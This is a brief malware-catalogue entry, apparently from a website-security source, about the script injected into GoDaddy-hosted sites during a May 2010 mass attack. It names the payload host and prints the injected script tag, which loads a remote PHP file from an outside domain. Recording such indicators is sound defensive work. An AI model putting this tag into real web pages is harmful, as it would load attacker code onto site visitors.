Description:
Malware used on the GoDaddy mass attack (May 2010): http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
After decoded, it loads a malware from http://www3.workfree36-td.xorg.pl
Affecting:
Any GoDaddy web site (thousands of sites got infected on May, 2010).
Malware dump:
< script src= http://kdjkfjskdfjlskdjf.com/kp.php >